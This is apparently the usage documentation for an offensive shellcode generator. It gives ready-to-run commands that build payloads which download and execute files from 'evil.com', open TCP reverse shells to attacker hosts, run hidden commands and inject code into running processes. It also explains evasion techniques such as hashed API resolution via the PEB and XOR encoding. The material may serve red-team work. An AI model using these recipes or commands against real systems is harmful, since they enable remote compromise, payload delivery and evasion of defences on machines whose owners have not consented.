Recipes
Recipes
Recipes are top-level shellcode templates stored under templates/recipes/{os}_{arch}/<recipe>.asm. Each is invoked as a subcommand of generate.py.
Global CLI options
./generate.py [-h] [-s SOURCE] [-o OUTPUT] [-x32 | -x64]
[--os {win,posix,macos}] [--debug | --verbose]
[--enc {xor,chunk}] [--enc-key ENC_KEY]
[--syntax {b64,c,cpp,go,nim,powershell,python,raw,rust}]
{exec,dlexec,connect,inject} ...
| Flag | Description |
|---|---|
-s, --source | File name where to output the resolved NASM source |
-o, --outfile | File name where to output the compiled shellcode binary |
-x32 / -x64 | Target architecture bitness (mutually exclusive, default -x64) |
--os {win,posix,macos} | Target operating system (default: win) |
--debug / --verbose | Log verbosity (mutually exclusive) |
--enc {xor,chunk} | Encode shellcode after compilation |
--enc-key | Encoder key/sentinel byte (hex or int); auto-selected if omitted |
--syntax | Output format (default: raw) — see the Output Formats guide |
exec
Execute a command via WinExec (Windows) or execve (Linux, via /bin/sh -c).
./generate.py --os win -x64 -o calc.raw exec calc.exe --show
./generate.py --os posix -o id.raw exec id
| Argument | Type | Description |
|---|---|---|
cmd | str | Command to execute |
--show | flag | Show window (default: hidden, Windows only) |
dlexec
Download and execute a remote payload.
./generate.py -o payload.raw dlexec http://evil.com/payload.exe -t "C:\Temp\svc.exe"
./generate.py --os posix -o payload.raw dlexec http://evil.com/payload -t /tmp/update
| Argument | Type | Description |
|---|---|---|
url | str | URL of the payload to download |
-t, --tmp | str | Temporary file path (default varies by --os) |
--show | flag | Show window (default: hidden, Windows only) |
On Linux, dlexec builds a wget <url> -O <tmp> && chmod +x <tmp> && <tmp> command string. On Windows it resolves LoadLibraryA, WinExec, and URLDownloadToFileA by ROR13 hash.
connect
Open a TCP reverse shell to an attacker-controlled host and port.
./generate.py --os win -o revshell.raw connect 10.0.0.1 4444
./generate.py --os posix -o revshell.raw connect 192.168.1.42 8080
| Argument | Type | Description |
|---|---|---|
ip | str | Attacker IP address |
port | int | Attacker listening port |
Windows uses Winsock (WSAStartup, WSASocketA, WSAConnect) and CreateProcessA to spawn cmd.exe with redirected I/O. Linux uses direct syscalls (socket, connect, dup2, execve).
inject
Inject shellcode into a running process — CreateRemoteThread on Windows, ptrace on Linux.
./generate.py --os win -o inject.raw inject 1234 fc4883e4f0e8c0000000415141505251
./generate.py --os posix -o inject.raw inject 4567 9090909090cc
| Argument | Type | Description |
|---|---|---|
pid | int | Target process ID |
shellcode | str | Hex-encoded shellcode to inject |
The Windows inject recipe resolves OpenProcess, VirtualAllocEx, WriteProcessMemory, VirtualProtectEx, and CreateRemoteThread lazily — each API is resolved immediately before its call to minimize register pressure. The Linux inject recipe uses ptrace(PTRACE_ATTACH), PTRACE_GETREGS, a PTRACE_POKETEXT write loop, PTRACE_SETREGS to redirect RIP, and PTRACE_DETACH.
API resolution
Windows recipes resolve APIs by a ROR13 hash computed over the function name (app.utils.helpers.api_hash), walking the PEB to find the module base and searching its export table via a shared parse_module routine — no GetProcAddress call is made. Linux recipes needing shared-library symbols use the equivalent djb2 hash (app.utils.helpers.gnu_hash) over an ELF resolver.